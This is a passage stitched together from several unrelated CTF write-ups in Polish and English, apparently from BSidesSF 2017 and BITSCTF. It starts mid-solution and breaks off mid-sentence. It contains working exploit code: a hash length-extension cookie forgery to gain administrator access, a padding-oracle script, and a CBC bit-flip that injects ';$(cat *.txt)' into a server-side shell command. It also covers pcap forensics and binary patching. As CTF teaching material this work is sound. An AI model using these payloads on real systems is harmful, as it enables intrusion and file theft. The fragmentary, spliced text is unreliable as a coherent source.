```12345678username=guest&date=2017-02-14T00:22:54+0100&secret_length=8&\0\0\0\0\0\0\0\0\0\0\0\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff&username=administrator&```
zakładając `12345678` jako `secret`.Bajty `\0` biorą sie z paddingu dodanego do ostatniego bloku kiedy jest on hashowany a `\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff` to finalny blok dodany przez serwer to początkowego cookie (0x45 to rozmiar danych w tym przypadku).
Użyliśmy krótkiego kodu pythona żeby wygenerować początkowy stan z cookie:
```pythonfrom crypto_commons.generic import chunk
def dump_state(data): print("\n".join(["vectx->state[" + str(i) + "] = 0x" + c + ";" for i, c in enumerate(chunk(data, 8))]))
def main(): data = 'e4d6ed47e23694e76f8a611111fd7b52a980e40a718b28256342adc740814a09fa4592e434dbb0b2b5d3405dd554e5b40f432cfb7cbf6fe06d95ed16cc1f1b21f0d5f5b432b0e82c9ce0693ed4caca8cf7a035e48a29fc358d75bb0674d5e0b910252bfc1712a76698662a0ea4441183d4b3d7f1ade921ae47f0b0c641e25813' dump_state(data)
main()```
a to daje nam zawartość dla funkcji `set_initial_state`:
```cvoid set_initial_state(const vhash_ctx *vectx) { vectx->state[0] = 0xe4d6ed47; vectx->state[1] = 0xe23694e7; vectx->state[2] = 0x6f8a6111; vectx->state[3] = 0x11fd7b52; vectx->state[4] = 0xa980e40a; vectx->state[5] = 0x718b2825; vectx->state[6] = 0x6342adc7; vectx->state[7] = 0x40814a09; vectx->state[8] = 0xfa4592e4; vectx->state[9] = 0x34dbb0b2; vectx->state[10] = 0xb5d3405d; vectx->state[11] = 0xd554e5b4; vectx->state[12] = 0x0f432cfb; vectx->state[13] = 0x7cbf6fe0; vectx->state[14] = 0x6d95ed16; vectx->state[15] = 0xcc1f1b21; vectx->state[16] = 0xf0d5f5b4; vectx->state[17] = 0x32b0e82c; vectx->state[18] = 0x9ce0693e; vectx->state[19] = 0xd4caca8c; vectx->state[20] = 0xf7a035e4; vectx->state[21] = 0x8a29fc35; vectx->state[22] = 0x8d75bb06; vectx->state[23] = 0x74d5e0b9; vectx->state[24] = 0x10252bfc; vectx->state[25] = 0x1712a766; vectx->state[26] = 0x98662a0e; vectx->state[27] = 0xa4441183; vectx->state[28] = 0xd4b3d7f1; vectx->state[29] = 0xade921ae; vectx->state[30] = 0x47f0b0c6; vectx->state[31] = 0x41e25813;}```
Teraz zostaje już tylko uruchomić `rigged(&vctx,"&username=administrator&", 24);` a to wypisze nam poprawny hash.
Ostatni krok to wysłanie nowych danych razem z hashem na serwer:
```pythonimport urllibimport requests
def main(): cookies = {"auth": urllib.quote_plus( "39005958a36fcfabc56482ef87d46c3e1aec3c7babbc487dfc73d5c48441f24e67ffb44a2814be8e2e890e282188430b442ec8bea4c18a80cf03568de70b98234395e39a75a541290cf419680a436ec1bc6da7730a130fa71f947b3f43c86c40b5eb983934bc57cbd0802795b5a8760277ff9aa0bdcdc84fa8b20c7eab97af03|username=guest&date=2017-02-13T23:45:45+0000&secret_length=8&\0\0\0\0\0\0\0\0\0\0\0\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff&username=administrator&")} result = requests.get("http://thenewandlessbrokenvhash.ctf.bsidessf.net:9292/index.php", cookies=cookies) print(result.content)
main()```
Co daje name `FLAG:06c211f73f4f5ba198c7fb56145b39a2` w odpowiedzi. |
# BsidesSF 2017 - shattered (forensics, 200 pts)
>We think we found how they're exfiltrating our data. One of the network engineers located a bizzare flow that looks designed to bypass our DLP system. Can you figure out what they were leaking this time?
>[shattered.pcapng](shattered.pcapng)
The file we get is a packet capture file full of retransmitted packets, the traffic looks scrambled, and the sequence numbers are mixed up. There is a great tool called [tcpflow](http://www.circlemud.org/jelson/software/tcpflow/) that can be used to recontruct it. After loading the PCAP in Wireshark to convert it to a native tcpdump PCAP:
```$ tcpflow -d2 -r shattered.pcaptcpflow: retrying_open ::open(fn=004.005.006.007.12345-008.009.010.011.02355,oflag=xc2,mask:x1b6)=5tcpflow: Open FDs at end of processing: 1tcpflow: demux.max_open_flows: 1tcpflow: Flow map size at end of processing: 1tcpflow: Flows seen: 1tcpflow: Total flows processed: 1tcpflow: Total packets processed: 1821
$ file 004.005.006.007.12345-008.009.010.011.02355004.005.006.007.12345-008.009.010.011.02355: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 564x572, frames 3```
 |
# Woodstock (forensics)
###ENG[PL](#pl-version)
In the task we get a [pcap](ws1_2.pcapng).If we just run strings or search on it we can get the first flag `BITSCTF{such_s3cure_much_w0w}`.
The second flag is more complex to get here.In the pcap we can see that there are 2 users interacting over some DC++/ADC hub and exchanging a `fl3g.txt` file.After analysing the input file and reading on the ADC protocol we finally figured out that the file transfer part is actually missing from the pcap.The only thing we can recover (eg. with binwalk, or by decoding zlib streams transferred) are file lists:
```xml
<FileListing Version="1" CID="IW27TT3CMX5NKVCSVJ2CFJYSVUUC6CB43FF3XLA" Base="/" Generator="EiskaltDC++ 2.2.9"><Directory Name="cadence"></Directory><Directory Name="DSP"></Directory><Directory Name="DC"> <File Name="DEFCON 19 - The Art of Trolling (w speaker)-AHqGV5WjS4w.mp4" Size="98273830" TTH="KEVJ3EBNSE6XXLTPVCB5WUDMS5KR7P32MJQCGWY"/> <File Name="Fallen Kingdom - The Complete Minecraft Music Video Series-ayl3UXKpH1g.mp4" Size="511422768" TTH="M5PWQCU5AUV5L4A367BLGWWAYD5U3NUAVDTDQMI"/> <File Name="fl3g.txt" Size="14" TTH="CA4CMF34SHRUQIBG6MNRDAI5BVT7HQQRTGC7TBA"/> <File Name="Man punches a kangaroo in the face to rescue his dog (Original HD)-FIRT7lf8byw.mkv" Size="69864590" TTH="SOQ7ECDJ6YWM5F5Z3XLXGOFM6J23FOKNKWW5PXY"/> <File Name="poster.jpeg" Size="89139" TTH="IPLZJ2E4VJC4Q5X5NQ5D43COFAU3CGSZ5NQWJVA"/> <File Name="small2.jpg" Size="669170" TTH="K53V57ZPPJUOT5CAUP6DM3BAZI4YMUU536OYD3Q"/> <File Name="This Week in Stupid (04_12_2016)-m8LJl98_H60.mkv" Size="252235314" TTH="56UJJZ32LDK7V7QR5PZKPT7N2VOKPCY6WBZX3JA"/> <File Name="TRUMP UP THE JAMS! - The Fallout of the 2016 Election-jPLQh70GNrA.mkv" Size="274708751" TTH="YXPU6LCXAH5AY6I63KTJ4I3Q36YMZEXYEPGS6MQ"/> <File Name="when leftists attack - SJWs confront man over MAGA shirt-l4L-fk1dWhs.mp4" Size="122011301" TTH="B3W7EZGS2VMUG6B773WCQKPQ24G77R2EDDASJII"/></Directory></FileListing>```
and
```xml
<FileListing Version="1" CID="AH3KWVYA5DAWJA7HAVHXC6BCLPNG34PVQVMPXPY" Base="/" Generator="EiskaltDC++ 2.2.9"><Directory Name="dcpp"> <File Name="text" Size="14" TTH="CA4CMF34SHRUQIBG6MNRDAI5BVT7HQQRTGC7TBA"/></Directory></FileListing>```
We notice that the file size if 14 bytes, and we know that the flag contains `BITSCTF{}`, so in fact we're missing only 5 bytes.Fortunately admin disclosed that there is a trailing `\n` in the file, so in fact we're missing only 4 bytes!And we know the TTH hash of the flag file, so we can now brute-force the contents.
We had some issues with finding a proper code for this task, because different tools/libs were giving different hash results but we finally found a tool http://directory.fsf.org/wiki/Tthsum which seemed to do the trick.
We used ramdisk to create temp files with potential flags and tested if the resulting hashes match the hash we have.After a while we finally got the flag `BITSCTF{sw3g}`
###PL version
W zadaniu dostajemy [pcapa](ws1_2.pcapng).Jeśli tylko uruchomimy na nim strings albo wyszukiwarke to znajdujemy pierwszą flagę `BITSCTF{such_s3cure_much_w0w}`.
Druga flaga była trochę bardziej skomplikowana.W pcapie mamy interakcje dwóch użytkowników za pomocą huba DC++/ADC i wymianę pliku `fl3g.txt`.Po dogłębnej analizie pcapa i protokołu ADC doszliśmy do tego, że transferu pliku w pcapie nie ma.Jedyne co możemy odzyskać to listy plików (np. przez binwalka lub dekodując transferowane strumienie zlib):
```xml
<FileListing Version="1" CID="IW27TT3CMX5NKVCSVJ2CFJYSVUUC6CB43FF3XLA" Base="/" Generator="EiskaltDC++ 2.2.9"><Directory Name="cadence"></Directory><Directory Name="DSP"></Directory><Directory Name="DC"> <File Name="DEFCON 19 - The Art of Trolling (w speaker)-AHqGV5WjS4w.mp4" Size="98273830" TTH="KEVJ3EBNSE6XXLTPVCB5WUDMS5KR7P32MJQCGWY"/> <File Name="Fallen Kingdom - The Complete Minecraft Music Video Series-ayl3UXKpH1g.mp4" Size="511422768" TTH="M5PWQCU5AUV5L4A367BLGWWAYD5U3NUAVDTDQMI"/> <File Name="fl3g.txt" Size="14" TTH="CA4CMF34SHRUQIBG6MNRDAI5BVT7HQQRTGC7TBA"/> <File Name="Man punches a kangaroo in the face to rescue his dog (Original HD)-FIRT7lf8byw.mkv" Size="69864590" TTH="SOQ7ECDJ6YWM5F5Z3XLXGOFM6J23FOKNKWW5PXY"/> <File Name="poster.jpeg" Size="89139" TTH="IPLZJ2E4VJC4Q5X5NQ5D43COFAU3CGSZ5NQWJVA"/> <File Name="small2.jpg" Size="669170" TTH="K53V57ZPPJUOT5CAUP6DM3BAZI4YMUU536OYD3Q"/> <File Name="This Week in Stupid (04_12_2016)-m8LJl98_H60.mkv" Size="252235314" TTH="56UJJZ32LDK7V7QR5PZKPT7N2VOKPCY6WBZX3JA"/> <File Name="TRUMP UP THE JAMS! - The Fallout of the 2016 Election-jPLQh70GNrA.mkv" Size="274708751" TTH="YXPU6LCXAH5AY6I63KTJ4I3Q36YMZEXYEPGS6MQ"/> <File Name="when leftists attack - SJWs confront man over MAGA shirt-l4L-fk1dWhs.mp4" Size="122011301" TTH="B3W7EZGS2VMUG6B773WCQKPQ24G77R2EDDASJII"/></Directory></FileListing>```
oraz
```xml
<FileListing Version="1" CID="AH3KWVYA5DAWJA7HAVHXC6BCLPNG34PVQVMPXPY" Base="/" Generator="EiskaltDC++ 2.2.9"><Directory Name="dcpp"> <File Name="text" Size="14" TTH="CA4CMF34SHRUQIBG6MNRDAI5BVT7HQQRTGC7TBA"/></Directory></FileListing>```
Możemy zauważyć że rozmiar pliku z flagą to 14 bajtów a wiemy że flaga zawiera `BITSCTF{}` więc brakuje nam jedynie 5 bajtów.Szczęśliwie admin wspomniał że plik kończy się znakiem `\n` więc brakuje już tylko 4 bajtów!A znamy hash pliku, więc możemy brutować jego zawartość.
Mieliśmy trochę problemów ze znalezieniem kodu do tego zadania ponieważ różne narzędzia/biblioteki dawały różne wyniki hasha. Koniec końcówk znaleźliśmy narzędzie http://directory.fsf.org/wiki/Tthsum które dawało dobre wyniki.
Użyliśmy ramdisku żeby tworzyć tymczasowe pliku z potencjalnymi flagami i testowaliśmy czy wynikowe hashe pasują do pliku z flagą i finalnie dostaliśmy `BITSCTF{sw3g}` |
# Delphi (web/crypto)
###ENG[PL](#pl-version)
The task was in `web` category, but actually there was almost no `web` there, only `crypto`.We get a web interface in which we can invoke three commands from a select box.
The commands are `netstat`, `ps aux`, and `echo "This is a longer string that I want to use to test multiple-block patterns`.
We notice that all those commands actually point to the same endpoint `execute`, with different parameters, eg `/execute/5d60992b1d3ac1d561f6cb4149d540ed4f6d549c64b9d39babc58c0f29324312`So we deduce that the command itself probably is somehow encrypted in the hex-string.Since commands have different lengths we can assume that it is most likely block encryption.By calculating `gcd` over payload lengths we have we can see that block size can be at most 16 bytes.
If we try to modify the payload we quickly hit `decrypt failure` message.This seems like a nice setup for oracle padding attack, so we import our oracle padding breaker from crypto-commons are try to run it on the payloads.If you're interested in how padding oracle works see our other writeup which describes this more in detail: https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/neoWe need to prepare oracle function, which will tell us if the decryption failed (presumably because of incorrect padding after decrypt):
```pythonsession = requests.Session()
def send(ct): while True: try: url = "http://delphi-status-e606c556.ctf.bsidessf.net/execute/" + ct result = session.get(url) content = result.content return content except: time.sleep(1)
def oracle(data): result = send(data) if "decrypt" in result: return False else: return True```
So we simply send the payload and check if there is `decrypt failed` message in the response.
With this in place we can now run:
```pythonfrom crypto_commons.symmetrical.symmetrical import oracle_padding_recovery
def main(): ct = '21573ed27b7d10267caebd178a68434c66bb31eabdd648cd38f6a34d53656b00' # ps aux? oracle_padding_recovery(ct, oracle, 16, string.printable)
main()```
And we manage to recover what we expected -> `ps aux` with PKCS padding.The same goes for `nestat` command, but the most interesting is the last payload because it has more than a single block we can recover.The last command ends up to be:
`echo "This is a longer string that I want to use to test multiple-block patterns\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f`
Now that we know that we're dealing with CBC encryption, we can use bitflipping to force the payload to decrypt into plaintext of our choosing, at least up to a single block boundary.
The idea behind this attack comes directly from how CBC mode works.In CBC encryption the plaintext is XORed with previous ciphertext block before encryption.During decryption the block is first decrypted and then XORed with previous ciphertext block to recover the real plaintext.This means, however, that if we modify a single byte of ciphertext of previous block, we will change corresponding byte of the decrypted plaintext in the next block!Keep in mind this will also mess up the decryption of the changed ciphertext block, but this can't be helped.
What we need is to know the ciphertext and corresponding plaintext.Then we know that `pt[i] = decrypt(ct[k][i]) ^ ct[k-1][i]` and we know all those values.So now if we XOR `ct[k-1][i]` with `pt[i]` we should always get 0 as result, since `a xor a = 0`.And now if we XOR this with any value, we will get this value as decryption result!
Fortunately we also have this in crypto-commons so we proceed with:
```python ct = '2ca638d01882452ec38895c06cd42505e2b5f680cccd0e4ee9c05acf697bc8fa0f33c4e66d69f81e1869606244dbc1f8f2cce8a05447037fb83addb8a9e6da032c1d08a5598422aab67283a1fcf6ca6297970b2a226124505751ed5d425fd8717d2da1ff5cd6a806c85fdb3ad3cbb175' # echo something pt = ( '?' * 16) + 'echo "This is a longer string that I want to use to test multiple-block patterns\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f' ct = set_cbc_payload_for_block(ct.decode("hex"), pt, ';$(cat *.txt) ', 5).encode("hex") print(ct)```
This way we modify the decryption results for 5th block of the ciphertext.4th block will be broken, but since it's just passed to `echo` we don't really care about it much.So we just modified the ciphertext to decode into `echo ... garbage;$(cat *.txt) ` which invoked in the shell will give us the flag.And if we now go to the `http://delphi-status-e606c556.ctf.bsidessf.net/execute/2ca638d01882452ec38895c06cd42505e2b5f680cccd0e4ee9c05acf697bc8fa0f33c4e66d69f81e1869606244dbc1f8f2cce8a05447037fb83addb8a9e6da03721442aa579369a0e8678fa1b0a4843197970b2a226124505751ed5d425fd8717d2da1ff5cd6a806c85fdb3ad3cbb175` url with our modified ciphertext we get as expected:
`This is a longer string that I want to use�?�|��O� |�?�q)�;FLAG:a1cf81c5e0872a7e0a4aec2e8e9f74c3 `
###PL version
Zadanie co prawda było w kategorii `web` ale w praktyce nie było tam prawie nic z `web` a jedynie z `crypto`.Dostajemy webowy interfejs z którego można wykonać trzy komendy używając select boxa.
Komendy to `netstat`, `ps aux` oraz `echo "This is a longer string that I want to use to test multiple-block patterns`.
Zauważamy szybko że wszytkie komendy prowadzą do tego samego endpointu `execue` z innym parametrem, np.`/execute/5d60992b1d3ac1d561f6cb4149d540ed4f6d549c64b9d39babc58c0f29324312`Zgadujemy, że komenda do wykonania jest zaszyfrowana w tym hex-stringu.Skoro komendy mają różne długości to domyślamy się że mamy do czynienia z szyfrem blokowym.Licząc `gcd` z długości znanych payloadów wynika że blok może mieć najwyżej 16 bajtów długości.
Jeśli ręcznie zmodyfikujemy payload to szybko dostajemy komunikat `decrypt failure`.To sugeruje setup dla ataku oracle padding, więc importujemy nasz łamacz z crypto-commons i próbujemy uruchomić go dla posiadanych szyfrogramów.Po szczegóły dotyczące ataku padding oracle odsyłamy do innego writeupa który napisalismy kilka tygodni temu: https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/neo#pl-versionPotrzebujemy do tego przygotować samą wyrocznie, która powie nam czy deszyfrowanie się powiodło czy nie (zakładamy że niepowodzenie wynika z niepopranego paddingu po deszyfrowaniu):
```pythonsession = requests.Session()
def send(ct): while True: try: url = "http://delphi-status-e606c556.ctf.bsidessf.net/execute/" + ct result = session.get(url) content = result.content return content except: time.sleep(1)
def oracle(data): result = send(data) if "decrypt" in result: return False else: return True```
Więc po prostu wysyłamy przygotowane dane i sprawdzamy czy w odpowiedzie dostaliśmy wiadomość `decrypt failed`.
Możemy teraz uruchomić:
```pythonfrom crypto_commons.symmetrical.symmetrical import oracle_padding_recovery
def main(): ct = '21573ed27b7d10267caebd178a68434c66bb31eabdd648cd38f6a34d53656b00' # ps aux? oracle_padding_recovery(ct, oracle, 16, string.printable)
main()```
I udaje nam się odzyskać oczekiwaną komendę -> `ps aux` z paddingiem PKCS.Tak samo jest dla payloadu z `netstat` ale najciekawszy jest ostatni szyfrogram, bo pozwala odzyskać więcej niż 1 blok.Ostatnia komenda to:
`echo "This is a longer string that I want to use to test multiple-block patterns\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f`
Skoro wiemy już że mamy do czynienia z szyfrowaniem w trybie CBC, możemy wykorzystać bitflipping żeby zmodyfikować payload tak, aby deszyfrował się do wybranego przez nas plaintextu, przynajmniej do granicy jednego bloku.
Idea stojąca za tym atakiem wynika bezpośrednio z działania trybu CBC.W tym trybie plaintext jest XORowwany z ciphertextem w poprzednim bloku przed szyfrowaniem.Podczas deszyfrowania, po odkodowaniu bloku wynik jest XORowany z ciphertextem poprzedniego bloku w celu odzyskania prawdziwego plaintextu.To oznacza jednak, że możemy zmodyfikować jeden bajt ciphertextu w poprzednim bloku i tym samym zmienić odpowiadający mu bajt odszyfrowanego plaintextu w kolejnym bloku!Warto pamiętać, że zniszczymy w ten sposób odszyfrowaną wartość bloku gdzie zmieniamy ciphertext, ale tego nie da się ominąć.
Potrzebujemy znać ciphertext oraz odpowiadający mu plaintext.Wiemy że `pt[i] = decrypt(ct[k][i]) ^ ct[k-1][i]` i znamy też wszystkie te wartości.Teraz jeśli XORujemy `ct[k-1][i]` z `pt[i]` powinniśmy zawsze po odszyfrowaniu dostać 0 ponieważ `a xor a = 0`.A teraz jeśli XORujemy to z dowolną inną wartością to uzyskamy tą wartość w wyniku deszyfrowania!
Szczęśliwie mamy to już zaimplementowane w crypto-commons więc wykonujemy:
```python ct = '2ca638d01882452ec38895c06cd42505e2b5f680cccd0e4ee9c05acf697bc8fa0f33c4e66d69f81e1869606244dbc1f8f2cce8a05447037fb83addb8a9e6da032c1d08a5598422aab67283a1fcf6ca6297970b2a226124505751ed5d425fd8717d2da1ff5cd6a806c85fdb3ad3cbb175' # echo something pt = ( '?' * 16) + 'echo "This is a longer string that I want to use to test multiple-block patterns\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f' ct = set_cbc_payload_for_block(ct.decode("hex"), pt, ';$(cat *.txt) ', 5).encode("hex") print(ct)```
W ten sposób zmieniamy wynik deszyfrowania 5 bloku.4 blok będzie popsuty, ale jest to input dla `echo` więc nie przejmuejmy się tym specjalnie.Teraz nasz zmieniony ciphertext powinien zdeszyfrować się do czegoś w postaci `echo ... garbage;$(cat *.txt) ` co wykonane w shellu da nam flagę.I faktycznie wchodząc pod URL `http://delphi-status-e606c556.ctf.bsidessf.net/execute/2ca638d01882452ec38895c06cd42505e2b5f680cccd0e4ee9c05acf697bc8fa0f33c4e66d69f81e1869606244dbc1f8f2cce8a05447037fb83addb8a9e6da03721442aa579369a0e8678fa1b0a4843197970b2a226124505751ed5d425fd8717d2da1ff5cd6a806c85fdb3ad3cbb175` url ze zmienionym ciphertextem dostajemy:
`This is a longer string that I want to use�?�|��O� |�?�q)�;FLAG:a1cf81c5e0872a7e0a4aec2e8e9f74c3 ` |
# RE3: Catalyst system (150 points)
## Hint: CEO of catalyst systems decided to build his own log in system from scratch, he thought that it is so safe that no one can fool around with him!
### SolutionThe first thing that we noticed was that this binary was taking too long to execute.There was a loop where sleep was called with a random variable so I nop-ed out the calls to sleep and continued from there.The sequence, with the nops, is shown below.
As a reminder, you can hot patch a binary in R2 by opening it in write mode `r2 -w program`, or reopening it with the command `oo+`.Then you can either seek `s` to the location and insert with `wx`. Or if you are in visual mode, enable the cursor by typing `c`, hit `i`, and type in 9090909090.
```│ ┌─< 0x00400e65 eb3e jmp 0x400ea5│ ┌──> 0x00400e67 e804f9ffff call sym.imp.rand ; int rand(void)│ |│ 0x00400e6c 89c6 mov esi, eax│ |│ 0x00400e6e 8b55fc mov edx, dword [rbp - local_4h]│ |│ 0x00400e71 89d0 mov eax, edx│ |│ 0x00400e73 01c0 add eax, eax│ |│ 0x00400e75 01d0 add eax, edx│ |│ 0x00400e77 8d4801 lea ecx, dword [rax + 1] ; 0x1│ |│ 0x00400e7a 89f0 mov eax, esi│ |│ 0x00400e7c 99 cdq│ |│ 0x00400e7d f7f9 idiv ecx│ |│ 0x00400e7f 89d0 mov eax, edx│ |│ 0x00400e81 89c7 mov edi, eax│ |│ 0x00400e83 90 nop│ |│ 0x00400e84 90 nop│ |│ 0x00400e85 90 nop│ |│ 0x00400e86 90 nop│ |│ 0x00400e87 90 nop│ |│ 0x00400e88 bf2e000000 mov edi, 0x2e ; '.' ; int c│ |│ 0x00400e8d e82ef8ffff call sym.imp.putchar ; int putchar(int c)│ |│ 0x00400e92 488b052f1220. mov rax, qword [obj.stdout] ; [0x6020c8:8]=0x4e4728203a434347 ; LEA obj.stdout ; "GCC: (GNU) 6.1.1 20160721 (Red Hat 6.1.1-4)" @ 0x6020c8│ |│ 0x00400e99 4889c7 mov rdi, rax ; FILE *stream│ |│ 0x00400e9c e88ff8ffff call sym.imp.fflush ; int fflush(FILE *stream)│ |│ 0x00400ea1 8345fc01 add dword [rbp - local_4h], 1│ ↑│ ; JMP XREF from 0x00400e65 (main)│ |└─> 0x00400ea5 837dfc1d cmp dword [rbp - local_4h], 0x1d ; [0x1d:4]=0x40000000│ └──< 0x00400ea9 7ebc jle 0x400e67```
I knew that the username was saved in main as [rbp-local_10h] and the password was at [rbp-local_18h].
```│ 0x00400eb5 bfb8184000 mov edi, str.Username: ; "Username: " @ 0x4018b8 ; const char * format│ 0x00400eba b800000000 mov eax, 0│ 0x00400ebf e82cf8ffff call sym.imp.printf ; int printf(const char *format)│ 0x00400ec4 488b45f0 mov rax, qword [rbp - local_10h]│ 0x00400ec8 4889c6 mov rsi, rax│ 0x00400ecb bfc3184000 mov edi, 0x4018c3 ; const char * format│ 0x00400ed0 b800000000 mov eax, 0│ 0x00400ed5 e866f8ffff call sym.imp.__isoc99_scanf; int scanf(const char *format)│ 0x00400eda bfc6184000 mov edi, str.Password: ; "Password: " @ 0x4018c6 ; const char * format│ 0x00400edf b800000000 mov eax, 0│ 0x00400ee4 e807f8ffff call sym.imp.printf ; int printf(const char *format)│ 0x00400ee9 488b45e8 mov rax, qword [rbp - local_18h]│ 0x00400eed 4889c6 mov rsi, rax│ 0x00400ef0 bfc3184000 mov edi, 0x4018c3 ; const char * format│ 0x00400ef5 b800000000 mov eax, 0│ 0x00400efa e841f8ffff call sym.imp.__isoc99_scanf; int scanf(const char *format)```
You can change the variable names in R2 using the following commands to make reversing easier. ```afvn local_18h passwordafvn local_10h username```
There was another loop with sleep, I nopped that out as well. In the end of main, we have the following sequence of calls.
```│ 0x00400f6e 488b45f0 mov rax, qword [rbp - username]│ 0x00400f72 4889c7 mov rdi, rax│ 0x00400f75 e820fdffff call fcn.00400c9a│ 0x00400f7a 488b45f0 mov rax, qword [rbp - username]│ 0x00400f7e 4889c7 mov rdi, rax ; const char * s│ 0x00400f81 e857fdffff call sub.puts_cdd ; int puts(const char *s)│ 0x00400f86 488b45f0 mov rax, qword [rbp - username]│ 0x00400f8a 4889c7 mov rdi, rax ; const char * s│ 0x00400f8d e865f9ffff call sub.puts_8f7 ; int puts(const char *s)│ 0x00400f92 488b55e8 mov rdx, qword [rbp - password]│ 0x00400f96 488b45f0 mov rax, qword [rbp - username]│ 0x00400f9a 4889d6 mov rsi, rdx│ 0x00400f9d 4889c7 mov rdi, rax ; const char * s│ 0x00400fa0 e8d2f9ffff call sub.puts_977 ; int puts(const char *s)│ 0x00400fa5 488b55e8 mov rdx, qword [rbp - password]│ 0x00400fa9 488b45f0 mov rax, qword [rbp - username]│ 0x00400fad 4889d6 mov rsi, rdx│ 0x00400fb0 4889c7 mov rdi, rax ; const char * format│ 0x00400fb3 e8bef8ffff call sub.printf_876 ; int printf(const char *format)│ 0x00400fb8 b800000000 mov eax, 0│ 0x00400fbd c9 leave└ 0x00400fbe c3 ret```
Lets look at these these functions one by one. The first one takes the username as an argument.
```[0x00400d93]> pdf @ fcn.00400c9a ┌ (fcn) fcn.00400c9a 67│ fcn.00400c9a (int arg_31h);│ ; var int local_18h @ rbp-0x18│ ; var int local_4h @ rbp-0x4│ ; arg int arg_31h @ rbp+0x31│ ; CALL XREF from 0x00400f75 (main)│ 0x00400c9a 55 push rbp│ 0x00400c9b 4889e5 mov rbp, rsp│ 0x00400c9e 4883ec20 sub rsp, 0x20│ 0x00400ca2 48897de8 mov qword [rbp - local_18h], rdi│ 0x00400ca6 c745fc000000. mov dword [rbp - local_4h], 0│ ┌─< 0x00400cad eb18 jmp 0x400cc7│ ┌──> 0x00400caf 8b45fc mov eax, dword [rbp - local_4h]│ |│ 0x00400cb2 4863d0 movsxd rdx, eax│ |│ 0x00400cb5 488b45e8 mov rax, qword [rbp - local_18h]│ |│ 0x00400cb9 4801d0 add rax, rdx ; '('│ |│ 0x00400cbc 0fb600 movzx eax, byte [rax]│ |│ 0x00400cbf 84c0 test al, al│ ┌───< 0x00400cc1 740c je 0x400ccf│ │|│ 0x00400cc3 8345fc01 add dword [rbp - local_4h], 1│ │↑│ ; JMP XREF from 0x00400cad (fcn.00400c9a)│ │|└─> 0x00400cc7 837dfc31 cmp dword [rbp - local_4h], 0x31 ; [0x31:4]=0x40000000 ; '1'│ │└──< 0x00400ccb 7ee2 jle 0x400caf│ │ ┌─< 0x00400ccd eb01 jmp 0x400cd0│ └───> 0x00400ccf 90 nop│ │ ; JMP XREF from 0x00400ccd (fcn.00400c9a)│ └─> 0x00400cd0 8b45fc mov eax, dword [rbp - local_4h]│ 0x00400cd3 89c7 mov edi, eax ; const char * s│ 0x00400cd5 e867ffffff call sub.puts_c41 ; int puts(const char *s)│ 0x00400cda 90 nop│ 0x00400cdb c9 leave└ 0x00400cdc c3 ret```The first function was basically strlen() as it kept a counter of chars in the username that aren't equal to 0.Once that loop was done, it called 'sub.puts_c41' shown below.
```[0x00400d93]> pdf @ sub.puts_c41 ┌ (fcn) sub.puts_c41 89│ sub.puts_c41 ();│ ; var int local_14h @ rbp-0x14│ ; var int local_8h @ rbp-0x8│ ; var int local_4h @ rbp-0x4│ ; var int local_0h @ rbp-0x0│ ; CALL XREF from 0x00400cd5 (fcn.00400c9a)│ 0x00400c41 55 push rbp│ 0x00400c42 4889e5 mov rbp, rsp│ 0x00400c45 4883ec20 sub rsp, 0x20│ 0x00400c49 897dec mov dword [rbp - local_14h], edi│ 0x00400c4c 8b45ec mov eax, dword [rbp - local_14h]│ 0x00400c4f c1f802 sar eax, 2│ 0x00400c52 8945fc mov dword [rbp - local_4h], eax│ 0x00400c55 8b45fc mov eax, dword [rbp - local_4h]│ 0x00400c58 c1e002 shl eax, 2│ 0x00400c5b 3b45ec cmp eax, dword [rbp - local_14h]│ ┌─< 0x00400c5e 7523 jne 0x400c83│ │ 0x00400c60 8b45fc mov eax, dword [rbp - local_4h]│ │ 0x00400c63 c1f802 sar eax, 2│ │ 0x00400c66 8945f8 mov dword [rbp - local_8h], eax│ │ 0x00400c69 8b45f8 mov eax, dword [rbp - local_8h]│ │ 0x00400c6c c1e002 shl eax, 2│ │ 0x00400c6f 3b45fc cmp eax, dword [rbp - local_4h]│ ┌──< 0x00400c72 740f je 0x400c83│ ││ 0x00400c74 8b45fc mov eax, dword [rbp - local_4h]│ ││ 0x00400c77 d1f8 sar eax, 1│ ││ 0x00400c79 85c0 test eax, eax│ ┌───< 0x00400c7b 7406 je 0x400c83│ │││ 0x00400c7d 837df800 cmp dword [rbp - local_8h], 0│ ┌────< 0x00400c81 7414 je 0x400c97│ │└└└─> 0x00400c83 bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400c88 e843faffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400c8d bf00000000 mov edi, 0 ; int status│ │ 0x00400c92 e8b9faffff call sym.imp.exit ; void exit(int status)│ └────> 0x00400c97 90 nop│ 0x00400c98 c9 leave└ 0x00400c99 c3 ret```Huh, there is a sequence of bit shifts and checks to figure out if the length of the username was valid.I decided to not bother dealing with the math for now as there was another function later being called that had the username as an argument. I nopped out the call to this functin to skip it for now.
And function sub.puts_cdd, which actually did check out the username, is listed below:
